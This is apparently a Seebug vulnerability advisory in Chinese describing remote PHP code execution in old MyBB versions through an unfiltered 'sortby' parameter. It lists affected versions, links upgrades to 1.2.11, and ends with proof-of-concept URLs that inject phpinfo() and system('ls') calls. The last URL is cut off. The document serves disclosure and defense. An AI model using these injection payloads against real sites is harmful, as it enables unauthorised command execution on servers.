MyBB多个远程PHP代码执行漏洞

2008-01-18T00:00:00
ID SSV:2838
Type seebug
Reporter Root
Modified 2008-01-18T00:00:00

Description

BUGTRAQ ID: 27322 CNCAN ID:CNCAN-2008011706

MyBB是一款基于PHP的WEB应用程序。 MyBB不正确过滤用户提交的URI数据,远程攻击者可以利用漏洞以WEB权限执行任意代码. 问题是由于'forumdisplay.php'和'search.php'脚本对用户提交的'fid'参数处理缺少充分过滤,提交恶意数据,在获得"sid"的情况下,可导致任意代码执行。

MyBulletinBoard MyBulletinBoard 1.2.10 MyBulletinBoard MyBulletinBoard 1.2.5 MyBulletinBoard MyBulletinBoard 1.2.3 MyBulletinBoard MyBulletinBoard 1.1.8 MyBulletinBoard MyBulletinBoard 1.1.7 MyBulletinBoard MyBulletinBoard 1.1.7 MyBulletinBoard MyBulletinBoard 1.1.6 MyBulletinBoard MyBulletinBoard 1.1.5 MyBulletinBoard MyBulletinBoard 1.1.4 MyBulletinBoard MyBulletinBoard 1.1.3 MyBulletinBoard MyBulletinBoard 1.1.2 MyBulletinBoard MyBulletinBoard 1.1.2 MyBulletinBoard MyBulletinBoard 1.1.1 MyBulletinBoard MyBulletinBoard 1.1 MyBulletinBoard MyBulletinBoard 1.0.4 MyBulletinBoard MyBulletinBoard 1.0.3 MyBulletinBoard MyBulletinBoard 1.0.2 MyBulletinBoard MyBulletinBoard 1.0.1 MyBulletinBoard MyBulletinBoard 1.0 PR2 MyBulletinBoard MyBulletinBoard 1.0 MyBulletinBoard MyBulletinBoard 1.2 MyBulletinBoard MyBulletinBoard 1.10

升级程序: MyBulletinBoard MyBulletinBoard RC1 MyBulletinBoard MyBB 1.2.11 <a href=http://www.mybboard.net/download/latest target=_blank>http://www.mybboard.net/download/latest</a> MyBulletinBoard MyBulletinBoard 1.2 MyBulletinBoard MyBB 1.2.11 <a href=http://www.mybboard.net/download/latest target=_blank>http://www.mybboard.net/download/latest</a> MyBulletinBoard MyBulletinBoard RC3 MyBulletinBoard MyBB 1.2.11 <a href=http://www.mybboard.net/download/latest target=_blank>http://www.mybboard.net/download/latest</a> MyBulletinBoard MyBulletinBoard RC4 MyBulletinBoard MyBB 1.2.11 <a href=http://www.mybboard.net/download/latest target=_blank>http://www.mybboard.net/download/latest</a> MyBulletinBoard MyBulletinBoard 1.10 MyBulletinBoard MyBB 1.2.11 <a href=http://www.mybboard.net/download/latest target=_blank>http://www.mybboard.net/download/latest</a> MyBulletinBoard MyBulletinBoard RC2 MyBulletinBoard MyBB 1.2.11 <a href=http://www.mybboard.net/download/latest target=_blank>http://www.mybboard.net/download/latest</a> MyBulletinBoard MyBulletinBoard 1.0 PR2 MyBulletinBoard MyBB 1.2.11 <a href=http://www.mybboard.net/download/latest target=_blank>http://www.mybboard.net/download/latest</a> MyBulletinBoard MyBulletinBoard 1.0 MyBulletinBoard MyBB 1.2.11 <a href=http://www.mybboard.net/download/latest target=_blank>http://www.mybboard.net/download/latest</a> MyBulletinBoard MyBulletinBoard 1.0.1 MyBulletinBoard MyBB 1.2.11 <a href=http://www.mybboard.net/download/latest target=_blank>http://www.mybboard.net/download/latest</a> MyBulletinBoard MyBulletinBoard 1.0.2 MyBulletinBoard MyBB 1.2.11 <a href=http://www.mybboard.net/download/latest target=_blank>http://www.mybboard.net/download/latest</a> MyBulletinBoard MyBulletinBoard 1.0.3 MyBulletinBoard MyBB 1.2.11 <a href=http://www.mybboard.net/download/latest target=_blank>http://www.mybboard.net/download/latest</a> MyBulletinBoard MyBulletinBoard 1.0.4 MyBulletinBoard MyBB 1.2.11 <a href=http://www.mybboard.net/download/latest target=_blank>http://www.mybboard.net/download/latest</a> MyBulletinBoard MyBulletinBoard 1.1 MyBulletinBoard MyBB 1.2.11 <a href=http://www.mybboard.net/download/latest target=_blank>http://www.mybboard.net/download/latest</a> MyBulletinBoard MyBulletinBoard 1.1.1 MyBulletinBoard MyBB 1.2.11 <a href=http://www.mybboard.net/download/latest target=_blank>http://www.mybboard.net/download/latest</a> MyBulletinBoard MyBulletinBoard 1.1.2 MyBulletinBoard MyBB 1.2.11 <a href=http://www.mybboard.net/download/latest target=_blank>http://www.mybboard.net/download/latest</a> MyBulletinBoard MyBulletinBoard 1.1.2 MyBulletinBoard MyBB 1.2.11 <a href=http://www.mybboard.net/download/latest target=_blank>http://www.mybboard.net/download/latest</a> MyBulletinBoard MyBulletinBoard 1.1.3 MyBulletinBoard MyBB 1.2.11 <a href=http://www.mybboard.net/download/latest target=_blank>http://www.mybboard.net/download/latest</a> MyBulletinBoard MyBulletinBoard 1.1.4 MyBulletinBoard MyBB 1.2.11 <a href=http://www.mybboard.net/download/latest target=_blank>http://www.mybboard.net/download/latest</a> MyBulletinBoard MyBulletinBoard 1.1.5 MyBulletinBoard MyBB 1.2.11 <a href=http://www.mybboard.net/download/latest target=_blank>http://www.mybboard.net/download/latest</a> MyBulletinBoard MyBulletinBoard 1.1.6 MyBulletinBoard MyBB 1.2.11 <a href=http://www.mybboard.net/download/latest target=_blank>http://www.mybboard.net/download/latest</a> MyBulletinBoard MyBulletinBoard 1.1.7 MyBulletinBoard MyBB 1.2.11 <a href=http://www.mybboard.net/download/latest target=_blank>http://www.mybboard.net/download/latest</a> MyBulletinBoard MyBulletinBoard 1.1.7 MyBulletinBoard MyBB 1.2.11 <a href=http://www.mybboard.net/download/latest target=_blank>http://www.mybboard.net/download/latest</a> MyBulletinBoard MyBulletinBoard 1.1.8 MyBulletinBoard MyBB 1.2.11 <a href=http://www.mybboard.net/download/latest target=_blank>http://www.mybboard.net/download/latest</a> MyBulletinBoard MyBulletinBoard 1.2.10 MyBulletinBoard MyBB 1.2.11 <a href=http://www.mybboard.net/download/latest target=_blank>http://www.mybboard.net/download/latest</a> MyBulletinBoard MyBulletinBoard 1.2.3 MyBulletinBoard MyBB 1.2.11 <a href=http://www.mybboard.net/download/latest target=_blank>http://www.mybboard.net/download/latest</a> MyBulletinBoard MyBulletinBoard 1.2.5 MyBulletinBoard MyBB 1.2.11 <a href=http://www.mybboard.net/download/latest target=_blank>http://www.mybboard.net/download/latest</a>

                                        
                                            
                                                http://www.example.com/mybb.1.2.10/forumdisplay.php?fid=2&amp;amp;sortby='];phpinfo();exit;//
http://www.example.com/mybb.1.2.10/forumdisplay.php?fid=2&amp;amp;sortby='];system('ls');exit;//
http://www.example.com/mybb.1.2.10/forumdispl